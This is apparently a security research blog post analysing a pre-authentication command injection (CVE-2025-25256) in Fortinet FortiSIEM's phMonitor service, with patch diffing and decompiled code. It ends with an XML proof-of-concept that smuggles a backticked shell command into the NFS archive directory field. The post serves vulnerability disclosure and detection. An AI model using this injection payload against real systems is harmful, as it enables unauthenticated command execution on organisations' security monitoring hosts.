> ## Content Index
> Fetch the complete content index at: https://labs.watchtowr.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Should Security Solutions Be Secure? Maybe We're All Wrong - Fortinet FortiSIEM Pre-Auth Command Injection (CVE-2025-25256)
- URL: https://labs.watchtowr.com/should-security-solutions-be-secure-maybe-were-all-wrong-fortinet-fortisiem-pre-auth-command-injection-cve-2025-25256/
- Published: 2025-08-15T16:14:48.000Z
- Updated: 2025-08-15T16:40:37.000Z
- Author: Sina Kheirkhah (@SinSinology)

It’s Friday, but we’re here today with unscheduled content - pushing our previously scheduled shenanigans to next week.

Fortinet is no stranger to the watchTowr Labs research team. Today we’re looking at CVE-2025-25256 - a pre-authentication command injection in FortiSIEM that lets an attacker compromise an organization’s SIEM (!!!).

FortiSIEM is Fortinet’s enterprise-grade SIEM - think real-time event correlation, UEBA-style analytics, an auto-populating CMDB, built-in SOAR, and enough scale to swallow anything from cloud-to-edge deployments. It’s the kind of “one platform to rule your SOC” solution that we believe (suspect, hope, imagine, guess, pray) might feel impressively safety-first.

Except, **obviously**, this time it didn't because the bar remains so incredibly low.

We also noted something interesting in Fortinet’s advisory:

> “Practical exploit code for this vulnerability was found in the wild.”

We’ve been told time and time again that attackers only manage to understand a vulnerability when some horrible security researcher releases analysis. And yet - somehow - we're seeing in-the-wild exploitation without asking the security community’s permission first. Strange!

Sigh. Exasperation.

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/08/image.png)

### Affected Versions

Fortinet’s advisory can be found [**here**](https://fortiguard.fortinet.com/psirt/FG-IR-25-152?ref=labs.watchtowr.com) and lists **CVE-2025-25256** as affecting:

| Version       | Affected            | Solution                   |
| ------------- | ------------------- | -------------------------- |
| FortiSIEM 7.4 | Not affected        | Not Applicable             |
| FortiSIEM 7.3 | 7.3.0 through 7.3.1 | Upgrade to 7.3.2 or above  |
| FortiSIEM 7.2 | 7.2.0 through 7.2.5 | Upgrade to 7.2.6 or above  |
| FortiSIEM 7.1 | 7.1.0 through 7.1.7 | Upgrade to 7.1.8 or above  |
| FortiSIEM 7.0 | 7.0.0 through 7.0.3 | Upgrade to 7.0.4 or above  |
| FortiSIEM 6.7 | 6.7.0 through 6.7.9 | Upgrade to 6.7.10 or above |
| FortiSIEM 6.6 | 6.6 all versions    | Migrate to a fixed release |
| FortiSIEM 6.5 | 6.5 all versions    | Migrate to a fixed release |
| FortiSIEM 6.4 | 6.4 all versions    | Migrate to a fixed release |
| FortiSIEM 6.3 | 6.3 all versions    | Migrate to a fixed release |
| FortiSIEM 6.2 | 6.2 all versions    | Migrate to a fixed release |
| FortiSIEM 6.1 | 6.1 all versions    | Migrate to a fixed release |
| FortiSIEM 5.4 | 5.4 all versions    | Migrate to a fixed release |

For the purposes of today’s analysis, we’ll be diffing the following FortiSIEM versions to allow us to hone in on the fixed code and reproduce this Command Injection vulnerability:

- FortiSIEM 7.3.1
- FortiSIEM 7.3.2

### How Bad Could It Be?

All good stories start with a hint, and today, as a starting point on what we need to understand, Fortinet PSIRT was kind enough to provide the following hint:

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/08/image-1.png)

So, let's begin our analysis by looking to see what listens on this port - and as expected, it seems to be `phMonitor`

```
tcp6       0      0 :::7900   :::*     LISTEN      332410/phMonitor

```

According to Fortinet’s own [documentation](https://help.fortinet.com/fsiem/6-7-6/Online-Help/HTML5%5FHelp/Viewing%5FCloud%5FHealth.htm?ref=labs.watchtowr.com), **phMonitor** is responsible for monitoring the health of FortiSIEM processes:

> Monitors the health of FortiSIEM processes. Distributes tasks from AppSvr to various processes on Supervisor and to phMonitor on Worker for further dustribution to processes on Worker nodes.

We went looking for *“…and provide attackers with RCE opportunities in your network”* in the documentation, but surprisingly, it wasn’t there.

Under the hood, `phMonitor` is a C++ binary listening on port 7900, speaking a custom RPC protocol wrapped in TLS. Which means our journey starts exactly where Fortinet’s hint pointed us: by patch-diffing this binary.

As is tradition in 2025, the diff was… performatively substantial - 185 functions changed. Woohoo!

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/08/image-2.png)

We’ll spare you the enthralling journey of stepping through 185 functions, to eventually filtering out 25+ suspicious functions and just give you our result - one very suspicious function that may have provided unintended functionality:

```
phMonitorProcess::handleStorageArchiveRequest

```

Fortinet have, naturally, made plenty of tweaks to this function but we’ve pulled out the part that really matters. Here’s the key change, isolated for you:

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/08/image-3.png)

As you can see, Fortinet previously relied on `ShellCmd::addParaSafe` to “sanitize” two inputs. In the patch, this has been swapped out for two far more specific functions:

- **`ShellCmd::addHostnameOrIpParam`**
- **`ShellCmd::addDiskPathParam`**

Turns out, `addParaSafe` wasn’t exactly *para-safe* after all.

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/08/image-4.png)

Under the hood, `addParaSafe` simply escaped quotes to try and stop input from breaking out of a surrounding literal string - a weak defense against command injection.

Now we know where the issue lives: inside `handleStorageArchiveRequest`, triggered by controlled values that (in vulnerable versions) weren’t being properly sanitized.

Let’s walk through the inner workings of `handleStorageArchiveRequest` and the conditions that must be met to actually hit the injection point.

We’ve tried our best to strip away any noise so it’s easier to follow, but we can only do so much:

```java
__int64 __fastcall phMonitorProcess::handleStorageArchiveRequest(
        phMonitorProcess *event_id,
        int a2,
        unsigned int a3,
        void *a4,
        const char *a5,
        void *a6,
        phSockStream *a7)
{

[..SNIP..]

  phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity(
      "phMonitorProcess.cpp",
      11547,
      128,
      (unsigned int)PH_TASK_FAILED,
      "Failed to handle storage request: cannot get process");
    goto LABEL_26;
  }
  v84 = *((_DWORD *)v85 + 260);
  if ( (unsigned int)(v84 - 1) > 1 )  // [1] Check if process type is Super (1) or Worker (2)
  {
    v99 = 303;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity(
      "phMonitorProcess.cpp",
      11558,
      128,
      (unsigned int)PH_TASK_FAILED,
      "handleStorageArchiveRequest can only run on Super or Worker");
    goto LABEL_26;
  }
  if ( !a6 )  // [2] Check if data was provided
  {
    **v99 = 304;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity("phMonitorProcess.cpp", 11565, 128, (unsigned int)PH_MONITOR_NOTIFICATION_CMD_EMPTY, v41);
    goto LABEL_26;
  }
  v76 = v115;
  v115[0] = &v116;
  v115[1] = 0;
  v116 = 0;
  std::string::_M_replace(v115, 0, 0, a6, v8);
  v102 = 0;
  v101 = (char *)&`vtable for'phBaseXmlParser + 16;
  v103 = (char *)&`vtable for'XmlParserErrorHandler + 16;
  v75 = (phBaseXmlParser *)&v101;
  v11 = phBaseXmlParser::parseXml((phBaseXmlParser *)&v101, v115[0], v8);  // [3] Parse the received XML data
  if ( !v11 )
  {
    v99 = 305;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity("phMonitorProcess.cpp", 11577, 128, (unsigned int)PH_UNABLE_PARSE_XML, v48);
    goto LABEL_90;
  }
  v12 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v11 + 104LL))(v11);
  v13 = v12;
  if ( !v12 )
  {
    v99 = 305;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity("phMonitorProcess.cpp", 11586, 128, (unsigned int)PH_UNABLE_PARSE_XML, v42);
LABEL_90:
    v23 = 0;
    goto LABEL_75;
  }
  v117[1] = 0;
  v70 = v117;
  v117[0] = &v118;
  v118 = 0;
  phBaseXmlParser::getNodeValue(v12, "scope", v117);  // [4] Extract 'scope' element from XML
  LOBYTE(is_scope_local) = (unsigned int)std::string::compare(v117, "local") != 0;
  Instance = phConfigurations::getInstance((phConfigurations *)v117);
  v86 = v134;
  std::string::basic_string<std::allocator<char>>(v134, phConstants::PH_CONFIG_MODULE_GLOBAL);

[..SNIP..]

 
  phBaseXmlParser::getNodeValue(v13, "archive_storage_type", &archive_storage_type);  // [5] Extract 'archive_storage_type' from XML
  if ( !(unsigned int)std::string::compare(&archive_storage_type, "hdfs") )  // [6] Check if storage type is HDFS
  {
    std::string::assign(v153, "hdfs");
    goto LABEL_36;
  }
  if ( (unsigned int)std::string::compare(&archive_storage_type, "nfs") )  // [7] Check if storage type is NFS
  {
    v99 = 306;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity(
      "phMonitorProcess.cpp",
      11733,
      128,
      (unsigned int)PH_MONITOR_STORAGE_TYPE_UNKNOWN,
      archive_storage_type);
    v23 = 0;
    goto LABEL_98;
  }
  v124 = 0;
  v63 = &archive_nfs_server_ip;
  archive_nfs_server_ip = v125;
  v64 = &archive_nfs_archive_dir;
  v125[0] = 0;
  archive_nfs_archive_dir = v128;
  v127 = 0;
  v128[0] = 0;
  if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, "archive_nfs_server_ip", &archive_nfs_server_ip) != -1 && v124 )  // [8] Extract NFS server IP from XML
  {
    if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, "archive_nfs_archive_dir", &archive_nfs_archive_dir) == -1  // [9] Extract NFS archive directory from XML
      || !v127 )
    {
      std::string::assign(v113, "archive nfs mount_point missing");
    }
  }
  else
  {
    std::string::assign(v113, "archive nfs server_ip missing");
  }
  if ( !(unsigned int)std::string::compare(v113, "success") )  // [10] Check if both NFS parameters were successfully extracted
  {
    std::string::assign(v153, "nfs");
    std::string::_M_assign(v155, &archive_nfs_server_ip);
    std::string::_M_assign(v157, &archive_nfs_archive_dir);
    std::string::basic_string<std::allocator<char>>(&requested_time, storage_script);  // [11] Set script path (/opt/phoenix/deployment/jumpbox/datastore.py)
    std::string::basic_string<std::allocator<char>>(&v111, "nfs");  // [12] Set storage type parameter
    v50 = "test";
    if ( (_DWORD)event_id != 91 )  // [13] Determine operation type: "test" or "save"
      v50 = "save";
    std::string::basic_string<std::allocator<char>>(&v112, v50);
    v105.tv_sec = 0;
    v105.tv_nsec = 0;
    v106 = 0;
    v62 = operator new(0x60u);
    v105.tv_sec = v62;
    v106 = v62 + 96;
    v72 = (_QWORD *)v62;
    p_requested_time = (void **)&requested_time;
    v65 = (__syscall_slong_t)v113;
    do
    {
      *v72 = v72 + 2;
      std::string::_M_construct<char *>(v72, *p_requested_time, (char *)p_requested_time[1] + (_QWORD)*p_requested_time);
      p_requested_time += 4;
      v72 += 4;
    }
    while ( p_requested_time != v113 );
    v105.tv_nsec = (__syscall_slong_t)v72;
    ShellCmd::ShellCmd(&v129);  // [14] Initialize shell command object
    std::vector<std::string>::~vector(&v105);
    v87 = (__int64)&requested_time;
    v51 = a6;
    v52 = v113;
    do
    {
      v52 -= 4;
      if ( *v52 != v52 + 2 )
        operator delete(*v52);
    }
    while ( v52 != (void **)&requested_time );
    a6 = v51;
    LODWORD(v87) = (_DWORD)event_id;
    ShellCmd::addParaSafe(&v129, &archive_nfs_server_ip);  // [15] Add NFS server IP as parameter
    ShellCmd::addParaSafe(&v129, &archive_nfs_archive_dir);  // [16] Add NFS archive directory as parameter
    std::string::basic_string<std::allocator<char>>(v134, " \\t\\r\\n\\v'");
    v71 = v132;
    std::string::basic_string<std::allocator<char>>(v132, "archive");
    ShellCmd::addPara(&v129, v132, v134);  // [17] Add "archive" parameter
    if ( v132[0] != v133 )
      operator delete(v132[0]);
    if ( (_BYTE *)v134[0] != v135 )
      operator delete(v134[0]);
    LOBYTE(requested_time.tv_sec) = 0;
    ShellCmd::str[abi:cxx11](v134, &v129);  // [18] Build the complete command string
    phMiscUtils::do_system_cancellable(  // [19] Execute the system command
      v134[0],
      (const char *)&requested_time,
      (bool *)&dword_0 + 1,
      0,
      (unsigned int)&v98,
      0,
      v62);

```

For those following along, we’ve annotated and walked through the sections of interest:

- **\[1\]** First, the current `phMonitor` process checks whether it’s running in *Supervisor* or *Worker* mode. FortiSIEM has three modes:
  - `supervisor`
  - `worker`
  - `collector` (not affected here, since this function only runs for the other two)
  - Most real world deployments use *Supervisor* or *Worker*.
- **\[2\]** Validate that `a2` is not a null pointer. This is an allocated heap buffer containing the data we are passing to this function.
- **\[3\]** Our supplied data is expected to be valid XML, which gets parsed via `phBaseXmlParser::parseXml`.
- **\[4\]** Extract the `<scope>` element value from our XML input and check if it is `local`.
- **\[5\]** Extract the `<archive_storage_type>` element value.
- **\[6\]** If the storage type is `hdfs`, bail out. We avoid this condition.
- **\[7\]** If the storage type is `nfs`, continue. We aim to satisfy this condition.
- **\[8\]** Extract `<archive_nfs_server_ip>` from the XML.
- **\[9\]** Extract `<archive_nfs_archive_dir>` from the XML.
- **\[10\]** Ensure both `archive_nfs_server_ip` and `archive_nfs_archive_dir` are present.
- **\[11\]** Create a `std::basic_string` containing `/opt/phoenix/deployment/jumpbox/datastore.py` which becomes the first argument in the command to be executed.
- **\[12\]** Set the storage type argument to `nfs`.
- **\[13\]** Set the storage action to `test` or `save`, depending on a `PktType` field (`90` or `91`).
- **\[14\]** Instantiate a `ShellCmd::ShellCmd()` object.
- **\[15\]** Use the unsafe `ShellCmd::addParaSafe` to add `archive_nfs_server_ip` as an argument.
- **\[16\]** Use the unsafe `ShellCmd::addParaSafe` again to add `archive_nfs_archive_dir`.
- **\[17\]** Append the literal string `"archive"` as the final argument.
- **\[18\]** Build the final command string.
- **\[19\]** Execute the command.

Putting all of the above together, we can hit the vulnerable code path by supplying an XML payload like this:

```java
<root>
    <archive_storage_type>nfs</archive_storage_type>
    <archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
    <archive_nfs_archive_dir>/nfs1</archive_nfs_archive_dir>
    <scope>local</scope>
</root>

```

Under the hood, the following command is ultimately executed on the FortiSIEM host as a result of the above XML payload:

```java
/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 /nfs1 archive

```

And just for fun, a visual representation:

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/08/image-7.png)

### Putting It All Together

Just for the sake of being explicit, here’s an example of a payload that would write a file to `/tmp/boom` :

```java
<root>
    <archive_storage_type>nfs</archive_storage_type>
    <archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
    <archive_nfs_archive_dir>`touch${IFS}/tmp/boom`</archive_nfs_archive_dir>
    <scope>local</scope>
</root>

```

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/08/image-6.png)

### Detection Artefact Generator

Given how simple this one is - and the fact that security teams will want eyes on it immediately - we’re sharing our Detection Artefact Generator today. 

You can find it [here](https://github.com/watchtowrlabs/watchTowr-vs-FortiSIEM-CVE-2025-25256?ref=labs.watchtowr.com).

0:00 

/0:20 

1×